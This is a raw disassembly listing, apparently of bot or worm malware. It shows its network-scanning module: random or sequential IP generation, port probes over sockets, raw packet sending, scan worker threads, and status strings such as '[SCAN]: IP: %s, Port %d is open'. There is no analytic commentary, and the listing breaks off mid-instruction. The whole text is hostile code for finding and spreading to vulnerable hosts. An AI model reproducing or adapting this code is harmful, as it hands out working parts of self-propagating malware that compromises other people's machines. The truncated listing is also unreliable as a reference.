loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_445428[eax*4] mov [esp+7A0h+var_65C], edx loc_423169: ; CODE XREF: sub_422B40+608j or ebx, 0FFFFFFFFh loc_42316C: ; CODE XREF: sub_422B40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42318A lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4232A5 ; --------------------------------------------------------------------------- loc_42318A: ; CODE XREF: sub_422B40+635j push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push offset dword_4447F8 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013ED lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423267 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017EE push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016B8 push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017EE push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423396 ; --------------------------------------------------------------------------- loc_423267: ; CODE XREF: sub_422B40+688j push offset dword_4455F4 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset off_4455F0 mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 push offset aB ; " -b" mov ecx, esi call sub_4013ED test eax, eax jnz short loc_4232C4 lea ecx, [esi+2Ah] call sub_4014DD push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4232A5: ; CODE XREF: sub_422B40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 loc_4232BD: ; CODE XREF: sub_422B40+132j mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_4232C4: ; CODE XREF: sub_422B40+735j ; sub_422B40+745j ... mov ecx, dword_4D809D lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_4455F0 mov ecx, esi call sub_4013ED mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_4455F4 call sub_4013ED test eax, eax jz short loc_42338B push offset off_4455F0 mov ecx, esi call sub_4013ED mov ebp, dword_511A9C mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42337E loc_423362: ; CODE XREF: sub_422B40+83Cj test eax, eax jz short loc_42337E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423362 loc_42337E: ; CODE XREF: sub_422B40+820j ; sub_422B40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423396 ; --------------------------------------------------------------------------- loc_42338B: ; CODE XREF: sub_422B40+7F1j mov [esp+7A0h+var_630], 0 loc_423396: ; CODE XREF: sub_422B40+722j ; sub_422B40+849j mov edx, dword_4D809D xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017EE push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4233F8 mov eax, offset aSequential ; "sequential" loc_4233F8: ; CODE XREF: sub_422B40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44540Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BEA add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402284 mov al, 1 jmp loc_422F3B sub_422B40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4236F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_448F40 mov ecx, offset dword_449968 setnz bl call sub_4014DD push eax push ebx push ebx push offset byte_4D8085 call sub_401857 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_445430[eax*4] inc ecx mov dword_445430[eax*4], ecx mov al, 1 retn sub_4236F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401E10j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50FAB8 nop call sub_5F74D1 mov eax, offset dword_50FAB8 add esp, 2Ch retn sub_423760 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423820 proc near ; CODE XREF: sub_401F55j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50DB60[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax call near ptr 71AB2BC0h nop mov dword_50DB60[esi*8], eax pop esi retn sub_423820 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423860 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423892 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423892: ; CODE XREF: sub_423860+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call near ptr 77C41B72h nop mov eax, [esp+34h+var_8] mov esi, dword_511AC8 add esp, 18h cmp eax, ebx jnz short loc_4238CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4238CA: ; CODE XREF: sub_423860+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4238D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4238D6: ; CODE XREF: sub_423860+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4238E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4238E2: ; CODE XREF: sub_423860+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4238EC call esi ; rand loc_4238EC: ; CODE XREF: sub_423860+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50DB60[ecx*8], eax pop ebx add esp, 10h retn sub_423860 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423950 proc near ; CODE XREF: sub_401E56j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42397E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42397E: ; CODE XREF: sub_423950+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423950 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423A40: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_437B30 push ebx push ebp mov ebp, dword_511C38 push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A37 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423B69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423C68 ; --------------------------------------------------------------------------- loc_423B69: ; CODE XREF: ___:00423B5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423BC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5F74D1 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423BC2: ; CODE XREF: ___:00423B87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423C13 mov edi, dword_511C64 loc_423BEA: ; CODE XREF: ___:00423C11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423C42 cmp [esp+0FEh], bp jnz short loc_423BEA loc_423C13: ; CODE XREF: ___:00423BE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423C63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C42: ; CODE XREF: ___:00423C07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: ___:00423C23j push offset dword_4456EC loc_423C68: ; CODE XREF: ___:00423B64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423D10: ; CODE XREF: ___:loc_401F41j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 call near ptr 27F0BB2h nop push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:44AF9Bh[eax*4] mov eax, dword_44B19F[eax*4] mov ecx, dword_50DB64[eax*8] test ecx, ecx jz loc_423FBE mov ebx, off_511C00 loc_423D8C: ; CODE XREF: ___:00423FB4j mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423DA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423DAF ; --------------------------------------------------------------------------- loc_423DA7: ; CODE XREF: ___:00423D96j call sub_401F55 add esp, 4 loc_423DAF: ; CODE XREF: ___:00423DA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_511C88 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5F74D1 lea ecx, [esp+238h] push ecx push ebp call ebx ; sub_5F74D1 mov edx, [esp+150h] mov eax, [esp+14Ch] push edx push eax push esi call sub_401E56 add esp, 2Ch cmp eax, 1 jnz loc_423F9A cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423EBF push offset dword_50FAA0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5F74D1 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423E9F mov al, [esp+0A8h] test al, al jz short loc_423E7A mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423E97 ; --------------------------------------------------------------------------- loc_423E7A: ; CODE XREF: ___:00423E56j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423E97: ; CODE XREF: ___:00423E78j call sub_40152D add esp, 10h loc_423E9F: ; CODE XREF: ___:00423E4Bj lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50FAA0 nop call near ptr 7C9010EDh jmp loc_423F9A ; --------------------------------------------------------------------------- loc_423EBF: ; CODE XREF: ___:00423E13j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5F74D1 mov eax, [esp+150h] lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+200h] lea edx, ds:445400h[ecx*4] push edx push eax call ebx ; sub_5F74D1 mov al, [esp+0B8h] add esp, 10h test al, al jz short loc_423F0C lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423F19 ; --------------------------------------------------------------------------- loc_423F0C: ; CODE XREF: ___:00423EF8j lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423F19: ; CODE XREF: ___:00423F0Aj call ebx ; sub_5F74D1 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44542C[edx*4] add esp, 0BCh loc_423F9A: ; CODE XREF: ___:00423E05j ; ___:00423EBAj push 7D0h call near ptr 2850000h nop mov eax, [ebp+204h] mov ecx, dword_50DB64[eax*8] test ecx, ecx jnz loc_423D8C mov esi, [esp+10h] loc_423FBE: ; CODE XREF: ___:00423D80j push esi call sub_401E3D add esp, 4 push 0 call near ptr 2850140h nop nop ; --------------------------------------------------------------------------- db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_402284j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50DB60[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_40148D add esp, 150h cmp eax, ebx jnz short loc_424101 push offset dword_50FAA0 nop call near ptr 2790720h push offset dword_50FAA0 call near ptr 2790D01h nop loc_424101: ; CODE XREF: ___:004240E9j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_5118D8 mov esi, ebx mov dword_50DB64[edx*8], ebx cmp eax, ebx mov ebx, off_511C00 jb loc_424230 mov edi, dword_51186C loc_424132: ; CODE XREF: ___:0042422Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5F74D1 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BEA lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F41 push 0 push 0 mov dword_44B19F[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_44B1AF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_44B1AF[eax*4] test ecx, ecx jz short loc_4241F8 mov eax, [esp+158h] test eax, eax jnz short loc_42421E loc_4241E7: ; CODE XREF: ___:004241F4j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_4241E7 jmp short loc_42421E ; --------------------------------------------------------------------------- loc_4241F8: ; CODE XREF: ___:004241DAj call near ptr 27D089Eh nop push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5F74D1 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42421E: ; CODE XREF: ___:004241E5j ; ___:004241F6j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424132 loc_424230: ; CODE XREF: ___:00424126j mov eax, [esp+12Ch] test eax, eax jz short loc_42425E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_424291 ; --------------------------------------------------------------------------- loc_42425E: ; CODE XREF: ___:00424239j mov ecx, [esp+130h] mov esi, 1 cmp dword_50DB64[ecx*8], esi jnz short loc_424291 loc_424273: ; CODE XREF: ___:00424288j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50DB64[edx*8], esi jz short loc_424273 mov eax, [esp+12Ch] loc_424291: ; CODE XREF: ___:0042425Cj ; ___:00424271j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50DB60[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5F74D1 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_4242F2 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_40152D add esp, 10h loc_4242F2: ; CODE XREF: ___:004242CBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50DB64[eax*8], 0 call ebp push 3 call sub_40148D add esp, 4 cmp eax, esi jnz short loc_424334 push offset dword_50FAA0 nop call near ptr 2790720h loc_424334: ; CODE XREF: ___:00424327j mov ecx, [esp+130h] push ecx call sub_401E3D add esp, 4 push 0 nop call near ptr 2850140h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424410 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424410 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424430: ; CODE XREF: ___:004015EBj mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401843 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424480 proc near ; CODE XREF: sub_401843j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4244D2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: sub_424480+16j mov eax, ebx pop ebp pop ebx retn 8 sub_424480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4021F8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424574 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424500 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245A0 proc near ; CODE XREF: sub_4016C2j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4245B3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4245B3: ; CODE XREF: sub_4245A0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4245A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245E0 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_4245F7 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4245F7: ; CODE XREF: sub_4245E0+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424625 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424625: ; CODE XREF: sub_4245E0+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424654 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42466F ; --------------------------------------------------------------------------- loc_424654: ; CODE XREF: sub_4245E0+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42466F: ; CODE XREF: sub_4245E0+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_4245E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_401B7Cj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_448F44 lea ecx, [esp+20h+var_8] call sub_4021F8 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424715 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424715: ; CODE XREF: sub_4246D0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor 